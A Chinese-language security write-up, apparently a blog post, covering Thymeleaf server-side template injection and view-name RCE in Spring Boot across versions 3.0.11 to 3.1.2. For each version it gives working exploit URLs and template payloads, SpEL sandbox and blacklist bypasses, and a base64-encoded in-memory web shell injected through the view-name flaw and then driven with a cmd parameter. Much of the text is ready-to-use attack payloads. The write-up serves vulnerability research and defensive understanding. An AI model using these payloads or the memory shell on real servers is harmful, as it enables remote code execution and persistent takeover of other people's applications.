Thymeleaf漏洞汇总
Thymeleaf和SpringBoot的对应版本
1 | SpringBoot Thymeleaf |
介绍
Thymeleaf
主要存在两种类型的漏洞,一种是出于开发者的失误,让用户可以任意指定视图名导致触发 Thymeleaf 3.x
中的片段表达式解析 RCE
。一种是在解析 Thymeleaf
模板时,其中模板内容被用户可控,导致模板中被用户注入恶意的表达式。
第一种漏洞是
Thymeleaf
的特性,主要是由于控制器在返回视图名时,如果视图名包含片段表达式,就会对其进行预处理,其中会进行SpEL
表达式的解析,从而造成命令执行。但是官方不承认这是一个框架的漏洞,因为官方认为程序返回的视图名不应该被用户完全控制,这种漏洞是出于开发者的失误。
第二种漏洞就是我们常见的SSTI
类型的漏洞,主要的攻击和防护方法围绕在沙箱逃逸和沙箱加固中,
下面依次来分析这两种漏洞。
漏洞一:控制视图名
测试代码
1 | package com.just.controller; |
上面的代码模拟了开发者让用户动态指定返回的模板的两种情景,两种情景本质都是一样的。
3.0.11版本及之前
介绍
在 Thymeleaf 3.x
提供了一个新的表达式: 片段表达式 (形如: ~{...}
),用于复用前端页面的元素。并且可以用于前面测试代码中的 data
参数中。更加关键的是,在 Thymeleaf
底层解析片段表达式的时候,会对片段表达式中的预处理表达式(形如 __...__
)进行处理,而预处理表达式中是可以通过 SpEL
表达式执行命令的,从而造成命令执行。
这样就说明只有 3.x
版本的 Thymeleaf
才会受影响。因为 2.x
中只会单纯的根据 data
的值找对应的模板,不会做片段表达式中的预处理。
分析
在 Thymeleaf
解析返回的模板时,必经的方法是 ThymeleafView#renderFragment()
。这个方法的 viewTemplateName
对应测试代码中 controller
返回的 data
参数。如果 data
参数中包含了 ::
,Thymeleaf
就会把这个参数当作片段表达式处理。
然后在几个方法调用后,来到 StandardExpressionPreprocessor#preprocess()
中进行预处理表达式的处理。
这个方法中会通过正则表达式提取 __...__
中的内容,然后交给 expression.execute()
处理,最终当作 Spel
表达式来处理造成命令执行。
根据上面的分析,我们可以构造出下面的 POC
(形如 __SpEL表达式__::
)。
1 | /demo1?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
3.0.12版本
介绍
针对 Thymeleaf 3.0.11
中的问题,在 3.0.12
版本中, Thymeleaf
在 util
目录下增加了 SpringRequestUtils
和 SpringStandardExpressionUtils
两个类。
根据文件中的注释说明我们就可以知道,SpringStandardExpressionUtils
是用来避免 SpEL
表达式创建对象和调用类的静态方法。
分析
在 3.0.12
版本中,renderFragment()
中多了一个对 viewTemplateName
进行判断的方法。
StringUtils.pack()
的作用是去掉字符串的空格和 ASCII
码在空格之前的特殊字符,并最后转为小写。然后就是先看 uri
中是否存在 viewName
(这一步是为了检查 restful
风格的参数是否包含了 viewName
),然后遍历 url
中的参数( ?key=value
的部分 )是否包含了 viewName
(这一步检查的是普通的参数),如果上述任意其一包含了 vn
就报错。正对应这个方法名,检查 viewName
是否在 request
对象中。
这样子即使开发者误开发了视图名称可以由用户控制的代码情景,Thymeleaf
底层也不会将视图名称作为片段表达式执行。
此时,我们测试代码中的两个
controller
情景就都被防护了。但是如果controller
写成了下面的样子,就依然会产生漏洞。
1 |
|
此时如果 poc
写成下面的样子,就可以绕过 checkViewNameNotInRequest()
的检查。
1 | /demo3?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
demo3
的 poc
好理解,demo4
的 poc
我们在调试的时候发现 requestURI
中的 ;
在 viewName
被去掉了,这是因为 Tomcat
的 URL
解析特性。参考 Tomcat
的 url
解析特性 ,具体源码就不仔细分析了。
但是我们发现上面的 poc
虽然绕过了 checkViewNameNotInRequest()
,但是还是打不通。这是因为后面还有前面提到了的 SpringStandardExpressionUtils
的检查。
检查在 SPELVariableExpressionEvaluator#getExpression()
中,这里 expContext
是禁止 SpEL
表达式中 new
对象或者调用类的静态方法的。
而对 SpEL
表达式的检查在 SpringStandardExpressionUtils.containsSpELInstantiationOrStatic()
方法中。
1 | public static boolean containsSpELInstantiationOrStatic(String expression) { |
可以看到其主要逻辑是首先倒序检测是否包含 wen
关键字、在(
的左边的字符是否是T
,如包含,那么认为找到了一个实例化对象,返回true
,阻止该表达式的执行。
因此要绕过这个函数,只要满足三点:
- 表达式中不能含有关键字
new
- 在
(
的左边的字符不能是T
- 不能在
T
和(
中间添加的字符使得原表达式出现问题
这里在 T
和 (
之间加上空格 %20
就可以绕过,其余还有很多字符都可以。例如换行符 %0a
,制表符 %09
。
绕过这点就可以成功通过 EL
表达式来 RCE
了。
POC
最终的 POC
如下:
1 | /demo3?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
高版本的修复
在 Thymeleaf 3.0.12
版本之后加强了 checkViewNameNotInRequest()
方法,要求 URI
的值和其 get
参数在 StringUtils.pack()
之后不能出现 $
,*
,#
,@
,~
紧跟 {
的情况。
拓展
当controller不return的时候
环境
环境基于 Thymeleaf 3.0.12
。
1 |
|
上面的代码可以利用吗?
分析
我们这里拿原来 3.0.12
的 poc
来打。
1 | /demo5?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
1 | /demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: |
我们发现此时第一种情况会把 URI
当作视图名,第二种情况视图名末尾的 ::
消失了。这里直接先给出结论:第一种情况暂时无解,第二种情况有办法解决。
我们可以分析一下第二种情况 viewName
是怎么获取的。
不难调试到上面的位置,发现 viewName
在这里会去掉倒数第一个 .
后面的内容,也就是去掉后缀名的操作,为了防止 .exec("calc")%7D__::
被去掉,我们不难想到可以在末尾再加一个 .
后缀。
POC
1 | /demo6/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__::. |
注入内存马
环境基于 Thymeleaf 3.0.12
。
注意:这里我们借助了
org.springframework.util.Base64Utils.encodeToUrlSafeString()
这个方法来避免出现Base64
编码后出现/
字符导致Tomcat
将其识别为路由的情况。
1 | http://localhost:8080/demo4/;/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x |
然后访问 /asd?cmd=whoami
。
参考文章
https://forum.butian.net/share/1922
https://www.cnpanda.net/sec/1063.html
https://xz.aliyun.com/t/11688
漏洞二:控制模板内容
介绍
Thymeleaf
中的预处理表达式可以处理 SpEL
表达式,从而如果我们可以控制 Thymeleaf
渲染的模板内容,就可以执行 java
代码。
3.0.11及以下版本利用
经过了前面的分析沉淀,这里我们可以知道, 3.0.11
版本及之前没有对 SpEL
表达式的解析有任何约束,因此我们直接在预处理表达式中注入命令执行就可以了。
poc
如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.0.12版本利用
分析
在 3.0.12
版本,在解析模板中的 SpEL
表达式的时候,在 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam()
中要求下面三点:
- 表达式中不能含有关键字
new
- 在
(
的左边的字符不能是T
- 不能在
T
和(
中间添加的字符使得原表达式出现问题
这里在 T
和 (
之间加上空格 %20
就可以绕过,其余还有很多字符都可以。例如换行符 %0a
,制表符 %09
。
POC
poc
如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.0.15版本利用
分析
在 3.0.15
版本( 3.0.x
的最后一个版本), Thymeleaf
加强了 SpringStandardExpressionUtils.containsSpELInstantiationOrStaticOrParam()
方法。但是这个方法还是可以被绕过。
这个方法和 3.0.12
版本的逻辑差不多,不过这里加强了 T
和 (
之间空格的检测(具体逻辑在 SpringStandardExpressionUtils.isPreviousStaticMarker()
方法中),导致前面的空格绕过在这里行不通。
但是这里有办法绕过第一个限制。这个方法对
new
关键字的检测并非单纯的看new
字符串是不是expression
的字串,而是限制new
字符串不能在expression
的开头或者new
字符串的前一个字符为非特殊字符,并且new
的下一个字符如果不是空格就可以过这里的检测。
如果熟悉Spel
表达式,会发现new
后面如果紧跟的是.
也可以解析成功,这样我们就可以通过在new
后面加一个.
来绕过这里对new
关键字的限制。
POC
绕过 poc
如下:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
或者下面这样也是可以解析成功的
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
3.1.1版本利用
分析
在 3.1.x
版本, Thymeleaf
加强了黑名单机制,禁止模板渲染中解析 SpEL
表达式的时候加载某些类。具体逻辑在 ExpressionUtils.isTypeAllowed()
方法中。
低版本 3.0.15
的黑名单:
高版本 3.1.1
的黑名单:
这里我们绕过黑名单的思路有两个:
- 寻找在白名单中有命令执行方法的类,从而直接命令执行。
- 寻找在白名单中提供了反射调用其它类的方法的类,从而用这个类来反射调用一些黑名单中可以命令执行的方法,由于这里是反射调用,所以
Thymeleaf
是检测不出来的。
下面的 poc
用的是第二种思路,主要是发现了 org.springframework.util.ReflectionUtils
封装了反射调用的方法, org.springframework.cglib.core.ReflectionUtils
封装了通过字符串的类名来获取对应类的 Class
对象的功能,。并且 POC1
利用了 org.springframework.cglib.core.ReflectionUtils#defineClass()
可以通过字节码实例化类对象,类似于 TemplatesImpl
。
POC
POC
参考 https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI
POC1
适用于 jdk9
之前。
1 |
|
POC2
适用于 jdk9
之后。
1 |
|
POC3
不限 jdk
版本。
1 |
|
3.1.2版本利用
高版本 3.1.2
进一步加入了 8
个新的类到黑名单来处理 3.1.1
版本的 CVE-2023-38286
。
目前
SpringBoot
最高的版本为3.2.3
,对应的Thymeleaf
版本为3.1.2
。也就是说下面的poc
可以通杀当前SpringBoot
对应的Thymeleaf
。
POC
绕过 poc
如下(其中 ..
的部分也可以用一个 .
,只不过 ..
可能可以过一些 WAF
):
POC1
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
上面的 spel
表达式的 poc
等效于下面的 java
代码,用来说明原理:
1 | package com.just; |
POC2
这个 POC
利用常见的 ClassPathXmlApplicationContext
类来 RCE
,但是需要出网:
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
POC3
这里利用 jshell
来命令执行。这里的 UtilityElf
是 SpringBoot-JDBC
依赖中的类。
1 | <html lang="en" xmlns:th="http://www.thymeleaf.org"> |
参考文章
https://blog.0kami.cn/blog/2024/thymeleaf%20ssti%203.1.2%20%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87/
https://boogipop.com/2024/01/29/RealWorld%20CTF%206th%20%E6%AD%A3%E8%B5%9B_%E4%BD%93%E9%AA%8C%E8%B5%9B%20%E9%83%A8%E5%88%86%20Web%20Writeup/
https://blog.ruozhi.xyz/2024/01/28/chatter-box-%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/#Step-3-%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%BB%95%E8%BF%87
https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI